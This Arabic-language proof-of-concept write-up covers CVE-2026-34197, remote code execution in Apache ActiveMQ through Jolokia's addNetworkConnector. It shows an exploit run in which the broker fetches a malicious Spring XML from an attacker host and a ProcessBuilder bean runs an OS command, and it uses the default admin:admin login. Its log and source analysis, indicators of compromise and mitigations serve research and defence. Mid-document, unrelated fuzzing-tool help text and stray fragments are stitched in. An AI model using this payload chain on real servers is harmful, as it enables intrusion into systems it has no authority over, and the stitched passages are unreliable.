
إثبات مفهوم لاستغلال ثغرة CVE-2026-34197، يوضح تنفيذ تعليمات برمجية عن بعد مُصادق عليه في Apache ActiveMQ عبر جسر Jolokia JMX-HTTP وحقن الفول XML في Spring.
الوصف
استدخال إدخال غير صحيح، التحكم غير الصحيح في إنشاء الكود (ثغرة إدخال الكود) في Apache ActiveMQ Broker، Apache ActiveMQ. يعرض Apache ActiveMQ Classic جسر Jolokia JMX-HTTP في /api/jolokia/ على وحدة التحكم الويب. سياسة الوصول الافتراضية لـ Jolokia تسمح بعمليات exec على جميع MBeans الخاصة بـ ActiveMQ (org.apache.activemq:*)، بما في ذلك BrokerService.addNetworkConnector(String) و BrokerService.addConnector(String). يمكن للمهاجم المصادق عليه استدعاء هذه العمليات باستخدام URI اكتشاف معدل يقوم بتشغيل معامل brokerConfig لموصل VM لتحميل سياق تطبيق Spring XML عن بعد باستخدام ResourceXmlApplicationContext. نظرًا لأن ResourceXmlApplicationContext من Spring يقوم بإنشاء جميع الفاصوليات المفردة قبل أن يقوم BrokerService بالتحقق من صحة التكوين، يحدث تنفيذ كود عشوائي على JVM الخاص بالوسيط من خلال طرق مصنع الفاصوليا مثل Runtime.exec(). تؤثر هذه المشكلة على Apache ActiveMQ Broker: قبل 5.19.4، من 6.0.0 قبل 6.2.3؛ Apache ActiveMQ All: قبل 5.19.4، من 6.0.0 قبل 6.2.3؛ Apache ActiveMQ: قبل 5.19.4، من 6.0.0 قبل 6.2.3. يُنصح المستخدمون بالترقية إلى الإصدار 5.19.4 أو 6.2.3 الذي يصلح المشكلة
مزيد من المعلومات في: رابط
Github: رابط```bash ❯ docker compose up -d
## إخلاء المسؤولية
هذا المشروع مخصص للأغراض التعليمية فقط. المؤلف غير مسؤول عن أي إساءة استخدام لهذه الأداة.
يجب ألا تستخدم هذه الأداة على أي نظام أو شبكة دون إذن صريح من المالك.
استخدم على مسؤوليتك الخاصة.
---```bash
❯ python3 exploit_poc.py auto \
--target http://localhost:8161 \
--lhost 192.168.1.32 --lport 9999 \
--cmd "touch /tmp/blahblah.txt"
======================================================================
CVE-2026-34197 — ActiveMQ RCE via Jolokia + VM Transport
For authorized security testing and research only.
======================================================================
[*] Target: http://localhost:8161
[*] Command: touch /tmp/blahblah.txt
[*] Serving malicious Spring XML on http://0.0.0.0:9999/evil.xml
[+] Jolokia accessible — agent version: unknown
[*] Could not discover broker name, using default 'localhost'
[*] Sending exploit payload to http://localhost:8161/api/jolokia/
[*] Malicious URI: static:(vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml)
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Jolokia returned 200 — exploit payload delivered
[+] Response: {
"request": {
"mbean": "org.apache.activemq:brokerName=localhost,type=Broker",
"arguments": [
"static:(vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml)"
],
"type": "exec",
"operation": "addNetworkConnector(java.lang.String)"
},
"value": "NC",
"timestamp": 1775616523,
"status": 200
}
[*] Waiting 5s for target to fetch payload...
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Done. Verify command execution on target.
مع LHOST هو عنوان IP الخاص على الكمبيوتر. يمكنك استخدام ipconfig على ويندوز أو ifconfig على لينكس
التحقق من RCE```bash
❯ docker exec -it activemq-vuln ls -lah /tmp
total 16K
drwxrwxrwt 1 root root 4.0K May 18 04:01 .
drwxr-xr-x 1 root root 4.0K May 18 03:40 ..
-rw-r--r-- 1 root root 0 May 18 04:01 blahblah.txt
drwxr-xr-x 1 root root 4.0K May 18 04:06 hsperfdata_root
=> نجاح استغلال الثغرة عن بُعد (RCE)، تم إنشاء الملف `blahblah.txt` على النظام المستهدف.
# مرحلة التحليل
## التحليل الديناميكي```bash
❯ docker exec activemq-vuln java -version
openjdk version "11.0.24" 2024-07-16
OpenJDK Runtime Environment Temurin-11.0.24+8 (build 11.0.24+8)
OpenJDK 64-Bit Server VM Temurin-11.0.24+8 (build 11.0.24+8, mixed mode, sharing)
❯ docker exec activemq-vuln sh -c 'ls /opt/apache-activemq/lib | grep activemq'
activemq-broker-5.18.6.jar
activemq-client-5.18.6.jar
activemq-console-5.18.6.jar
activemq-jaas-5.18.6.jar
activemq-kahadb-store-5.18.6.jar
activemq-openwire-legacy-5.18.6.jar
activemq-protobuf-1.1.jar
activemq-rar.txt
activemq-spring-5.18.6.jar
activemq-web-5.18.6.jar
سجلات وقت التشغيل أكدت أيضًا أنه تم تمكين Jolokia وتعريضه من خلال وحدة تحكم الويب الخاصة بـ ActiveMQ:```bash INFO | ActiveMQ WebConsole available at http://0.0.0.0:8161/ INFO | ActiveMQ Jolokia REST API available at http://0.0.0.0:8161/api/jolokia/
تحقق من الاتصال```bash
❯ curl -i -u admin:admin \
-H 'Origin: http://localhost:8161' \
http://localhost:8161/api/jolokia/
HTTP/1.1 200 OK
Date: Mon, 18 May 2026 04:37:28 GMT
X-FRAME-OPTIONS: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Cache-Control: no-cache
Access-Control-Allow-Origin: http://localhost:8161
Access-Control-Allow-Credentials: true
Content-Type: text/plain;charset=utf-8
Pragma: no-cache
Expires: Mon, 18 May 2026 03:37:28 GMT
Transfer-Encoding: chunked
{"request":{"type":"version"},"value":{"agent":"1.7.1","protocol":"7.2","config":{"listenForHttpService":"true","authIgnoreCerts":"false","agentId":"172.21.0.2-42-aa61e4e-servlet","debug":"false","agentType":"servlet","policyLocation":"${prop:jolokia.conf}","agentContext":"\/jolokia","serializeException":"false","mimeType":"text\/plain","dispatcherClasses":"org.jolokia.http.Jsr160ProxyNotEnabledByDefaultAnymoreDispatcher","multicastGroup":"239.192.48.84","authMode":"basic","authMatch":"any","streaming":"true","canonicalNaming":"true","historyMaxEntries":"10","allowErrorDetails":"false","allowDnsReverseLookup":"true","realm":"jolokia","includeStackTrace":"true","multicastPort":"24884","useRestrictorService":"false","debugMaxEntries":"100"},"info":{"product":"activemq","vendor":"Apache","version":"5.18.6"}},"timestamp":1779079048,"status":200}
هذا يعني:
لقراءة السجلات```bash docker logs activemq-vuln > activemq-rce.log
ثم grep عن السلسلة النظيفة```bash
❯ grep -E \
'addNetworkConnector|doCompositeConnect|createBroker|ResourceXmlApplicationContext|loadBeanDefinitions|ProcessBuilder|xbean|brokerConfig' \
activemq-rce.log
Loading message broker from: xbean:activemq.xml
INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml
at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:342) ~[spring-beans-5.3.39.jar:5.3.39]
at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:310) ~[spring-beans-5.3.39.jar:5.3.39]
at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:116) ~[xbean-spring-4.25.jar:4.25]
at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:104) ~[xbean-spring-4.25.jar:4.25]
at org.apache.xbean.spring.context.ResourceXmlApplicationContext.<init>(ResourceXmlApplicationContext.java:64) ~[xbean-spring-4.25.jar:4.25]
at org.apache.xbean.spring.context.ResourceXmlApplicationContext.<init>(ResourceXmlApplicationContext.java:52) ~[xbean-spring-4.25.jar:4.25]
at org.apache.activemq.xbean.XBeanBrokerFactory$1.<init>(XBeanBrokerFactory.java:104) ~[activemq-spring-5.18.6.jar:5.18.6]
at org.apache.activemq.xbean.XBeanBrokerFactory.createApplicationContext(XBeanBrokerFactory.java:104) ~[activemq-spring-5.18.6.jar:5.18.6]
at org.apache.activemq.xbean.XBeanBrokerFactory.createBroker(XBeanBrokerFactory.java:67) ~[activemq-spring-5.18.6.jar:5.18.6]
at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:71) ~[activemq-broker-5.18.6.jar:5.18.6]
at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:54) ~[activemq-broker-5.18.6.jar:5.18.6]
at org.apache.activemq.transport.vm.VMTransportFactory.doCompositeConnect(VMTransportFactory.java:125) ~[activemq-broker-5.18.6.jar:5.18.6]
at org.apache.activemq.broker.jmx.BrokerView.addNetworkConnector(BrokerView.java:388) ~[activemq-broker-5.18.6.jar:5.18.6]
at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:333) ~[spring-beans-5.3.39.jar:5.3.39]
WARN | Could not connect to remote URI: vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml: IOException parsing XML document from URL [http://192.168.1.17:9999/evil.xml]; nested exception is java.net.ConnectException: Connection refused (Connection refused)
بعد إرسال الحمولة```bash INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml
هذا السطر مهم لأنه يؤكد أن عنوان URI الذي يتحكم فيه المهاجر تم توفيره عبر:```java
BrokerView.addNetworkConnector(String)
وصل إلى طبقة نقل VM دون تعقيم.
URI الخبيث المستخدم أثناء الاستغلال كان:```text static:(vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml)
يحتوي URI هذا على جزأين مهمين:
| المكون | الغرض |
| ---------------- | ----------------------------------------------- |
| `static:(...)` | غلاف يستخدمه موصلات اكتشاف ActiveMQ |
| `vm://evil?...` | URI نقل VM تتم معالجته داخليًا بواسطة ActiveMQ |
الغلاف `static:(...)` بحد ذاته ليس المكون الضعيف. الغرض منه هو تمرير URI النقل المغلف إلى نظام موصل الشبكة الخاص بـ ActiveMQ.
أثناء تنفيذ وقت التشغيل، استخرج ActiveMQ وعالج URI النقل VM الداخلي:```text
vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml
تم تأكيد هذا السلوك في سجلات وقت التشغيل:```text INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml
المعامل `brokerConfig=` هو الجزء الحاسم من الحمولة. لقد أمر طبقة نقل VM بإنشاء مثيل وسيط ديناميكيًا باستخدام تهيئة Spring xbean خارجية محملة من:```text
http://192.168.1.32:9999/evil.xml
لقد تسبب البادئة xbean: في تفويض ActiveMQ للمعالجة إلى مُحمل سياق تطبيق XML الخاص بـ Spring:```text
org.apache.xbean.spring.context.ResourceXmlApplicationContext
نتيجة لذلك، تم تحليل مستند XML البعيد وإنشاءه كسياق تطبيق Spring داخل JVM الوسيط.
يحتوي XML الضار على Spring bean التالي:```xml
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
أمر تعريف الحبة هذا Spring بإنشاء كائن ProcessBuilder واستدعاء طريقته start() فورًا أثناء تهيئة سياق التطبيق.
استغل الهجوم الأمر التالي:```bash touch /tmp/blahblah.txt
نظرًا لأن Spring يقوم بإنشاء مثيلات الفول الانفرادية (singleton beans) بشكل فوري أثناء تهيئة السياق، فإن طريقة `ProcessBuilder.start()` تم تنفيذها قبل أن يتحقق ActiveMQ مما إذا كان تكوين الوسيط نفسه آمنًا أو صالحًا.
أدى ذلك إلى تنفيذ أوامر عشوائية على الحاوية المستهدفة.
تم التحقق من الاستغلال عن طريق فحص الدليل `/tmp` داخل حاوية ActiveMQ:```bash
❯ docker exec -it activemq-vuln ls -lah /tmp
total 16K
drwxrwxrwt 1 root root 4.0K May 18 04:01 .
drwxr-xr-x 1 root root 4.0K May 18 03:40 ..
-rw-r--r-- 1 root root 0 May 18 04:01 blahblah.txt
drwxr-xr-x 1 root root 4.0K May 18 04:06 hsperfdata_root
أكدت بيانات الملف الوصفية تنفيذ الأمر بنجاح:```bash ❯ docker exec activemq-vuln stat /tmp/blahblah.txt
File: /tmp/blahblah.txt Size: 0 Uid: (0/root) Gid: (0/root) Birth: 2026-05-18 04:01:35
هذا يثبت أنه تم تنفيذ أوامر نظام التشغيل التعسفية بنجاح داخل سياق حاوية ActiveMQ.
كما كشف تتبع المكدس في وقت التشغيل عن مسار التنفيذ الضعيف بالكامل:```text
BrokerView.addNetworkConnector()
->
VMTransportFactory.doCompositeConnect()
->
BrokerFactory.createBroker()
->
XBeanBrokerFactory.createApplicationContext()
->
ResourceXmlApplicationContext
->
XmlBeanDefinitionReader.loadBeanDefinitions()
->
Spring bean instantiation
->
ProcessBuilder.start()
->
OS command execution
تم ملاحظة الإدخالات التالية من تتبع المكدس أثناء تحليل وقت التشغيل:```text at org.apache.activemq.broker.jmx.BrokerView.addNetworkConnector(BrokerView.java:388)
at org.apache.activemq.transport.vm.VMTransportFactory.doCompositeConnect(VMTransportFactory.java:125)
at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:71)
at org.apache.activemq.xbean.XBeanBrokerFactory.createBroker(XBeanBrokerFactory.java:67)
at org.apache.activemq.xbean.XBeanBrokerFactory.createApplicationContext(XBeanBrokerFactory.java:104)
at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:116)
at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:342)
من أهم الملاحظات أثناء التحليل الديناميكي كانت الترتيب الذي عالج به كل من Spring و ActiveMQ التهيئة الخبيثة.
بعد تنفيذ الحمولة بنجاح، قام ActiveMQ لاحقًا بإنشاء التحذير التالي:```text
WARN | Could not connect to remote URI:
The configuration has no BrokerService instance for resource:
xbean:http://192.168.1.32:9999/evil.xml
يوضح هذا السلوك أن:```text Spring bean instantiation occurred before ActiveMQ validated the broker configuration.
حتى وإن تم رفض تكوين الوسيط نفسه في النهاية، إلا أن حبة Spring الضارة قد تم بالفعل إنشاؤها وتنفيذها.
هذه المشكلة في الترتيب هي العيب المنطقي الأساسي وراء CVE-2026-34197.
حدد التحليل الديناميكي المكونات التالية المشاركة في سلسلة الاستغلال:
| المكون | الدور |
| ----------------------------- | ---------------------------------- |
| Jolokia | جسر HTTP إلى JMX |
| BrokerView | MBean إدارة مكشوف |
| VMTransportFactory | يوزع URI النقل `vm://` |
| BrokerFactory | ينشئ مثيل الوسيط |
| XBeanBrokerFactory | يحمل تهيئة Spring xbean |
| ResourceXmlApplicationContext | يحمل XML عن بُعد |
| XmlBeanDefinitionReader | يوزع تعريفات حبوب Spring |
| Spring BeanFactory | ينشئ حبوبًا مفردة |
| ProcessBuilder | ينفذ أوامر نظام التشغيل |
يؤكد التحليل الديناميكي أن CVE-2026-34197 ناتج عن التفاعل بين:
* عمليات إدارة Jolokia المفرطة في السماح
* URIs النقل التي يتحكم فيها المهاجم
* الإنشاء التلقائي لوسيط نقل VM
* تحميل تهيئة Spring xbean عن بُعد
* إنشاء حبة مفردة مبكرًا قبل التحقق
نتيجة لذلك، يمكن للمهاجم الموثق تحقيق تنفيذ كود تعسفي على JVM ActiveMQ من خلال توفير URI ضار `brokerConfig=xbean:http://...` عبر عملية `addNetworkConnector()` المكشوفة بواسطة Jolokia.
### نظرة عامة على البنية
يعرض Apache ActiveMQ Classic واجهة إدارة من خلال جسر Jolokia JMX-HTTP المتاح في:```text id="n0vmrq"
/api/jolokia/
يعمل Jolokia كجسر بين HTTP و JMX، مما يسمح للمستخدمين المصادقين باستدعاء عمليات إدارة جافا (JMX) عن بُعد عبر HTTP.
مسار الهندسة الضعيفة الذي تم تحديده أثناء التحليل موضح أدناه:```text id="yavj0f" HTTP Request -> Jolokia Servlet -> JMX MBean Invocation -> BrokerView.addNetworkConnector() -> VMTransportFactory -> BrokerFactory -> XBeanBrokerFactory -> Spring ResourceXmlApplicationContext -> Spring Bean Instantiation -> OS Command Execution
المكونات التالية كانت متورطة في سلسلة الاستغلال:
| المكون | الوظيفة |
| --------------------- | -------------------------------------------- |
| Jolokia | يعرض عمليات JMX عبر HTTP |
| BrokerView | واجهة MBean للإدارة |
| VMTransportFactory | يعالج URIs النقل من نوع `vm://` |
| BrokerFactory | ينشئ الوسطاء ديناميكيًا |
| XBeanBrokerFactory | يحمل تهيئات xbean من Spring |
| محمل سياق Spring | يوزع ويعرّف تعريفات XML للـ beans |
| ProcessBuilder | ينفذ أوامر نظام التشغيل |
تصبح البنية معرضة للخطر لأن ActiveMQ يسمح للمستخدمين الموثَّقين باستدعاء طرق إدارة الوسطاء الخطيرة باستخدام URIs نقل يتحكم فيها المهاجم.
---
### تحليل سطح الهجوم
سطح الهجوم الأساسي هو نقطة نهاية Jolokia HTTP المعروضة عبر وحدة تحكم الويب الخاصة بـ ActiveMQ:```text id="xq7vba"
http://<target>:8161/api/jolokia/
أكد التحليل أثناء التشغيل أن واجهة Jolokia كانت مفعلة افتراضيًا:```text id="y7qz5e" INFO | ActiveMQ Jolokia REST API available at http://0.0.0.0:8161/api/jolokia/
لقد قبلت نقطة نهاية Jolokia الطلبات الموثقة باستخدام المصادقة الأساسية لـ HTTP:```json id="13tzmx"
"authMode":"basic"
تم الكشف عن عملية الإدارة الخطيرة التالية:```java id="pxqv10" BrokerView.addNetworkConnector(String)
تقبل هذه الطريقة URI نقل يتحكم فيه المستخدم دون تقييد كافٍ لأنماط URI الخطيرة أو معلمات التهيئة.
قدم المهاجم الحمولة التالية:```text id="v3u3f2"
static:(vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml)
This payload abused several features simultaneously:
The attack surface therefore includes:
The vulnerability is caused by the interaction between multiple trusted subsystems inside ActiveMQ.
The core issue is that authenticated Jolokia users are allowed to invoke dangerous broker management operations with attacker-controlled transport URIs.
The vulnerable execution flow identified during runtime analysis is:```text id="m57h1r" Jolokia -> BrokerView.addNetworkConnector() -> VMTransportFactory.doCompositeConnect() -> BrokerFactory.createBroker() -> XBeanBrokerFactory.createApplicationContext() -> ResourceXmlApplicationContext -> Spring bean instantiation
المعلمة الحرجة هي:```text id="s59jsn"
brokerConfig=xbean:http://attacker/evil.xml
يوجه هذه المعلمة طبقة نقل VM إلى إنشاء وسيط ديناميكيًا باستخدام تكوين Spring xbean خارجي.
أكدت الأدلة التالية في وقت التشغيل هذا السلوك:```text id="74y0rw" INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml
ثم قام Spring بتحميل XML البعيد عبر:```text id="i54jqs"
org.apache.xbean.spring.context.ResourceXmlApplicationContext
احتوى XML الضار على:```xml id="y6jphd"
أثناء تهيئة سياق تطبيق Spring، يتم إنشاء حبوب (beans) المفردة (singleton) بفورية. ونتيجة لذلك، تم تنفيذ طريقة `ProcessBuilder.start()` على الفور.
الخلل المنطقي الرئيسي هو أن إنشاء حبوب Spring حدث قبل أن يتحقق ActiveMQ مما إذا كانت تكوين البروكر نفسه آمنًا أو صالحًا.
تم إثبات هذا السلوك ديناميكيًا لأن:
1. أنشأ الحمولة الخبيثة `/tmp/blahblah.txt` بنجاح
2. رفض ActiveMQ لاحقًا تكوين البروكر بـ:```text id="6k1dwn"
The configuration has no BrokerService instance
هذا يوضح أن تنفيذ الكود حدث قبل اكتمال التحقق من الوسيط.
تتضمن المؤشرات المحتملة للاختراق طلبات Jolokia المشبوهة التي تستهدف عمليات إدارة ActiveMQ.
ابحث عن الطلبات التي تستدعي:```text id="c56p2k" addNetworkConnector addConnector
عبر:```text id="pt2n3d"
/api/jolokia/
شظايا URI التالية هي مؤشرات قوية على محاولات الاستغلال:```text id="n9jlwm" vm:// brokerConfig= xbean: static:(
مثال على حمولة خبيثة:```text id="wjsowq"
static:(vm://evil?brokerConfig=xbean:http://attacker/evil.xml)
قد يقوم الوسيط ببدء طلبات صادرة إلى بنية تحتية يتحكم بها المهاجم:```text id="f5g9kx" http://attacker/evil.xml
يجب التحقيق في حركة HTTP الخارجة غير المتوقعة من broker JVM.
#### سجلات Runtime المشبوهة
رسائل runtime التالية مشبوهة:```text id="1zj8yf"
Establishing network connection from vm://localhost to vm://evil
1:1:1:1
لنحلل الخيارات:
-i, --ignore-certificate - يتجاوز عمليات التحقق من الشهادة المقدمة من الخادم. استخدم هذا عند الاتصال بمضيفين يستخدمون شهادات موقعة ذاتياً. يخفف من أخطاء x509: certificate signed by unknown authority. شكراً لـ @tim2zg على المساهمة!--resolve - يعين النطاق إلى عنوان IP بأسلوب /etc/hosts، مفيد لاختبار الاختراق (fuzzing) للمضيفين الافتراضيين. يمكن استخدام عدة خيارات --resolve. يجب أن يكون التنسيق مثل ملف /etc/hosts الافتراضي (على سبيل المثال: domain.com:80:127.0.0.1). لدعم HTTPS، يجب تمرير النظام (scheme) مع العلم -u/--url.-H, --header - يعين ترويسة مخصصة. يمكن استخدام عدة -H. يجب أن يكون التنسيق Name: Value.--header-independent - يجعل جميع الترويسات المعرفة مستقلة. بشكل افتراضي، ستُضاف كل ترويسة معرفة إلى جميع الحمولات (payloads). إذا كنت تريدها فقط في حمولات محددة، يجب عليك تحديد الحمولة (الحمولات) التي تشملها الترويسة باستخدام . يمكنك فعل الشيء نفسه مع الأسماء المحددة باستخدام .- **اسم الأداة**: [ToolKit](https://github.com/example/toolkit) - مجموعة من الأدوات المساعدة للأمن.```text id="jzsk0g"
XmlBeanDefinitionReader.loadBeanDefinitions
ملفات غير متوقعة تحت:```text id="6x7qcm" /tmp/
أو قد يشير تنفيذ عملية فرعية مشبوهة من JVM الخاص بـ ActiveMQ إلى استغلال ثغرة.
---
### تحليل التأثير
يسمح الاستغلال الناجح بتنفيذ تعليمات برمجية عن بُعد موثَّق داخل سياق JVM الخاص بـ ActiveMQ.
في البيئة التي تم تحليلها، تم تنفيذ أوامر نظام التشغيل بشكل اعتباطي بنجاح داخل الحاوية:```bash id="2hyz0w"
touch /tmp/blahblah.txt
النتيجة:```text id="rm2qfd" /tmp/blahblah.txt
تم إنشاء الملف كالتالي:```text id="9phgkz"
Uid: (0/root)
يشير هذا إلى أن تنفيذ الأوامر تم بصلاحيات الجذر داخل الحاوية.
التأثير المحتمل يشمل:
تزداد خطورة الحالة بشكل كبير إذا:
قم بترقية ActiveMQ Classic إلى:```text id="8w0j6k" 5.19.4 or later 6.2.3 or later
#### تقييد الوصول إلى Jolokia
قم بتعطيل Jolokia إذا لم يكن مطلوبًا.
إذا كان يجب إبقاء Jolokia ممكّنًا:
* قيّد الوصول إلى شبكات الإدارة الموثوقة
* فرّض توثيقًا قويًا
* عطّل عمليات exec الخطيرة
* طبّق سياسات وصول Jolokia صارمة
#### إزالة بيانات الاعتماد الافتراضية
لا تستخدم:```text id="9mw1xv"
admin:admin
منع الوسيط (broker) من بدء اتصالات HTTP عشوائية صادرة.
يخفف ذلك من محاولات استرداد XML عن بُعد.
تقييد أو تعطيل:
vm://xbean: الخارجيمراقبة:
/api/jolokia/addNetworkConnectorbrokerConfig=xbean:يمر المسار الضارب عبر طبقة إدارة الويب/JMX في ActiveMQ، وطبقة شبكات الوسيط، ونقل VM، ونظام مصنع الوسيط، وتحميل تكوين Spring XBean.
Jolokia مفعل في تطبيق واجهة برمجة تطبيقات الويب الخاص بـ ActiveMQ:```xml
jolokia-agent org.jolokia.http.AgentServlet ... jolokia-agent /jolokia/* ``` عند بدء تشغيل الوسيط، يقوم ActiveMQ بتسجيل `BrokerView` كـ MBean لإدارة الوسيط:```java // activemq-broker/src/main/java/org/apache/activemq/broker/BrokerService.java protected void startManagementContext() throws Exception { getManagementContext().setBrokerName(brokerName); getManagementContext().start(); adminView = new BrokerView(this, null); ObjectName objectName = getBrokerObjectName(); AnnotatedMBean.registerMBean(getManagementContext(), adminView, objectName); } ``` يتم إنشاء اسم الكائن على النحو التالي:```java // activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerMBeanSupport.java public static ObjectName createBrokerObjectName(String jmxDomainName, String brokerName) throws MalformedObjectNameException { String objectNameStr = jmxDomainName + ":type=Broker,brokerName="; objectNameStr += JMXSupport.encodeObjectNamePart(brokerName); return new ObjectName(objectNameStr); } ``` في التوزيعة الافتراضية، يكشف هذا عن broker MBean كهدف Jolokia قابل للاستدعاء عبر HTTP مثل:```text org.apache.activemq:type=Broker,brokerName=localhost ``` مسؤوليات المكونات ذات الصلة هي:BrokerView: واجهة إدارة وسيط موجهة لـ JMX. يعرض addNetworkConnector(String) و addConnector(String).BrokerService: كائن وقت تشغيل الوسيط. يحول عنوان شبكة مكون من سلسلة نصية إلى URI وينشئ DiscoveryNetworkConnector.DiscoveryNetworkConnector: يستخدم وكيل اكتشاف للحصول على عناوين URI لوسيط بعيد، ثم يتصل بكل URI مكتشف.TransportFactory: يحول مخطط URI إلى مصنع نقل باستخدام META-INF/services/org/apache/activemq/transport/<scheme>.VMTransportFactory: يتعامل مع النقل vm:// ويمكنه إنشاء وسيط مضمن تلقائياً عندما لا يكون وسيط VM المطلوب موجوداً.BrokerFactory: يحول مخطط URI لتكوين الوسيط باستخدام .توجد الثغرة لأن طريقة الإدارة تقبل لغة URI لـ ActiveMQ ليست بيانات سلبية. عندما يتم تقييم URI، يمكنه إنشاء وسطاء وتحميل تكوين Spring XML.
نقطة الدخول القابلة للاستغلال هي:```java // activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerView.java public String addNetworkConnector(String discoveryAddress) throws Exception { NetworkConnector connector = brokerService.addNetworkConnector(discoveryAddress); if (connector == null) { throw new NoSuchElementException("Not connector matched the given name: " + discoveryAddress); } brokerService.registerNetworkConnectorMBean(connector); connector.start(); return connector.getName(); }
واجهة MBean تعرض العملية على النحو التالي:```java
// activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerViewMBean.java
@MBeanInfo("Adds a Network Connector to the broker.")
String addNetworkConnector(@MBeanInfo("discoveryAddress") String discoveryAddress) throws Exception;
المدخلات التي يتحكم بها المهاجم هي وسيطة exec الخاصة بـ Jolokia والتي تم تمريرها إلى discoveryAddress. في الإصدار الضعيف، لا تقوم BrokerView.addNetworkConnector() بإجراء أي التحقق من scheme، ولا التحقق من الـ URI المتداخل، ولا تصفية المعاملات الخاصة بالنقل قبل تمرير السلسلة إلى BrokerService.
تقوم BrokerService بتحويل السلسلة مباشرة إلى URI:```java
// activemq-broker/src/main/java/org/apache/activemq/broker/BrokerService.java
public NetworkConnector addNetworkConnector(String discoveryAddress) throws Exception {
return addNetworkConnector(new URI(discoveryAddress));
}
public NetworkConnector addNetworkConnector(URI discoveryAddress) throws Exception { NetworkConnector connector = new DiscoveryNetworkConnector(discoveryAddress); return addNetworkConnector(connector); }
يتم بعد ذلك تكوين connector object مع local broker URI وإضافته إلى broker:```java
// activemq-broker/src/main/java/org/apache/activemq/broker/BrokerService.java
public NetworkConnector addNetworkConnector(NetworkConnector connector) throws Exception {
connector.setBrokerService(this);
connector.setLocalUri(getVmConnectorURI());
...
networkConnectors.add(connector);
return connector;
}
يصل التحكم إلى النظام الفرعي للنقل عندما يبدأ BrokerView الموصل:```java
connector.start();
لـ URI الاستغلال:```text
static:(vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml)
static:(...) ينشئ موصل اكتشاف ثابت، والـ vm://... URI يصبح الخدمة البعيدة المكتشفة.
يتم حل نقل VM من خلال:```properties
class=org.apache.activemq.transport.vm.VMTransportFactory
الطريقة القابلة للاختراق هي:```java
// activemq-broker/src/main/java/org/apache/activemq/transport/vm/VMTransportFactory.java
public Transport doCompositeConnect(URI location) throws Exception
تقوم الطريقة بتحليل URI vm://، واستخراج معاملات الاستعلام، والتعامل مع brokerConfig كـ URI لإنشاء الوسيط:```java
host = extractHost(location);
options = URISupport.parseParameters(location);
String config = options.remove("brokerConfig");
if (config != null) {
brokerURI = new URI(config);
} else {
Map<String, Object> brokerOptions = IntrospectionSupport.extractProperties(options, "broker.");
brokerURI = new URI("broker://()/" + host + "?"
+ URISupport.createQueryString(brokerOptions));
}
الخيار `create` القيمة الافتراضية له هي `true`:```java
boolean create = true;
...
if ("false".equals(options.remove("create"))) {
create = false;
}
إذا لم يكن هناك وسيط موجود لمضيف VM المطلوب، يقوم VMTransportFactory بإنشاء واحد:```java
broker = lookupBroker(BrokerRegistry.getInstance(), host, waitForStart);
if (broker == null) {
if (!create) {
throw new IOException("Broker named '" + host + "' does not exist.");
}
try {
if (brokerFactoryHandler != null) {
broker = brokerFactoryHandler.createBroker(brokerURI);
} else {
broker = BrokerFactory.createBroker(brokerURI);
}
broker.start();
MDC.put("activemq.broker", broker.getBrokerName());
} catch (URISyntaxException e) {
throw IOExceptionSupport.create(e);
}
BROKERS.put(host, broker);
BrokerRegistry.getInstance().getRegistryMutext().notifyAll();
}
هذا هو فشل حدود الامتياز على مستوى النقل. يتم تقييم URI المقدم من خلال مستوى الإدارة بواسطة نقل VM كتعليمات لإنشاء وسيط من URI تهيئة عشوائي.
يحدث التحقق من المعلمات المتبقية بعد إنشاء الوسيط:```java
if (!options.isEmpty()) {
throw new IllegalArgumentException("Invalid connect parameters: " + options);
}
return transport;
ذاك التحقق لا يمكنه منع تنفيذ التعليمات البرمجية من خلال brokerConfig، لأن brokerConfig قد أُزيل بالفعل من options وتم استهلاكه قبل تشغيل هذا التحقق.
مسار الاكتشاف من المنبع هو:```java // activemq-broker/src/main/java/org/apache/activemq/network/DiscoveryNetworkConnector.java remoteTransport = TransportFactory.connect(connectUri);
بالنسبة لـ `static:(...)`, يقوم `SimpleDiscoveryAgent.start()` بإصدار كل خدمة مكونة فوراً:```java
// activemq-client/src/main/java/org/apache/activemq/transport/discovery/simple/SimpleDiscoveryAgent.java
public void start() throws Exception {
taskRunner = new TaskRunnerFactory();
taskRunner.init();
running.set(true);
for (int i = 0; i < services.length; i++) {
listener.onServiceAdd(new SimpleDiscoveryEvent(services[i]));
}
}
